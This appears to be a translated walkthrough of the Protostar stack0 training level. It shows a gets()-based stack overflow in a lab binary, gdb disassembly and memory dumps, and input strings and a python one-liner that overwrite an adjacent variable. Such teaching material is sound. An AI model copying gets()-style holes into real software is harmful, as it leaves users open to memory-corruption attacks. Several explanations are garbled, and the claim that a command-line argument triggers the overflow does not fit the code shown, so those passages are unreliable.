0x12.
12. First Stack Buffer Overflopw to modify Variable - bin.0x0C
: Content
-> stack layout
-> local variables on the stack
-> buffer voerflow to overwrite moemory
: This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
: stack0(C code)(/opt/protostar/bin/stack0)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
: Let's analyze it in turn.
-> There are two local variables.
-> volatile int modified;
-> When you declare a variable, you attach a volume before it, and the compiler excludes that variable from optimization so that it always has access to memory.
-> char buffer[64];
-> man gets(BUGS)
-> It has been used to break computer security. Use fgets() instead.
-> if(modified != 0);
-> Only a number of successful messages with "modified" set to zero, but not zero.
: Let’s Debugging.
-> gdb stack0
-> break *main
-> run
-> set disassembly-flavor intel
-> disassemble main
-> Dump of assembler code for function main:
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
-> Tips. "stack" is simply the memory space present at the bottom of the memory.
-> info proc mappings
-> process 2042
cmdline = '/opt/protostar/bin/stack0'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack0'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack0
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack0
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
-> Tips. "mapping" is the progress of the stack can see.
-> x/wx $esp
-> 0xbffff7bc: 0xb7eadc76
Tips. leave: mov esp, ebp
pop ebp
: Debugging analysis…
-> eip - Tinstruction pointer
-> esp - Stack pointer
-> ebp - Base pointer
-> call - push address after eip on the stack.
: esp ~ ebp
-> A stack between "esp" and "ebp". The frame, this is now a small memory area.
-> It can be used for local variables, and it can also be calculated inside the main function.
Tips. Lea eax, [esp+0x1c] does eax=esp+0x1c
: Restart!
-> del(= break delete)
-> break *0x0804840c
-> break *0x08048411
-> define hook-stop
> info registers
> x/24wx $esp
> x/2i $eip
> end
-> r
> y
-> c
> AAAAAAAAAAAAAAAAAAAAAAAA
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0xbfff0041 0x08048469
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
-> x/wx $esp+0x5c
-> 0xbffff7ac: 0x00000000
-> "$esp+0x5c" still comes out as zero, but now you can see where it is.
-> r
> y
-> c
> AAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCDDDDDDDDDDDEEEEEEEEEEEEEEEEFF
Starting program: /opt/protostar/bin/stack0
eax 0xbffff76c -1073744020
ecx 0x799d853e 2040366398
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x804840c 0x804840c <main+24>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
gs 0x33 51
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x42414141 0x42424242 0x42424242
0xbffff780: 0x42424242 0x43424242 0x43434343 0x43434343
0xbffff790: 0x44444343 0x44444444 0x44444444 0x45454544
0xbffff7a0: 0x45454545 0x45454545 0x45454545 0x00464645
-> x/xw $esp+0x5c
-> 0xbffff7ac: 0x00464645
-> si(= step in)
eax 0x464645 4605509
ecx 0xbffff76c -1073744020
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x8048415 0x8048415 <main+33>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x42414141 0x42424242 0x42424242
0xbffff780: 0x42424242 0x43424242 0x43434343 0x43434343
0xbffff790: 0x44444343 0x44444444 0x44444444 0x45454544
0xbffff7a0: 0x45454545 0x45454545 0x45454545 0x00464645
-> x/xw $esp+0x5c
-> 0xbffff7ac: 0x00464645
-> c
-> Continuing.
you have changed the 'modified' variable
: Let's try this without "gdb".
-> echo AAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCDDDDDDDDDDDEEEEEEEEEEEEEEEEFF | /opt/protostar/bin/stack0
OR
-> /opt/protostar/bin/stack0(Enter)
AAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCDDDDDDDDDDDEEEEEEEEEEEEEEEEFF
you have changed the 'modified' variable
OR
-> /opt/protostar/bin/stack0 AAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCDDDDDDDDDDDEEEEEEEEEEEEEEEEFF
-> you have changed the 'modified' variable
: There are a more comfortable ways.
-> "python -c" Use commands to be run can be specified.
-> python -c ‘print “A”*(4+16*3+14)’
-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-> python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0
-> you have changed the 'modified' variable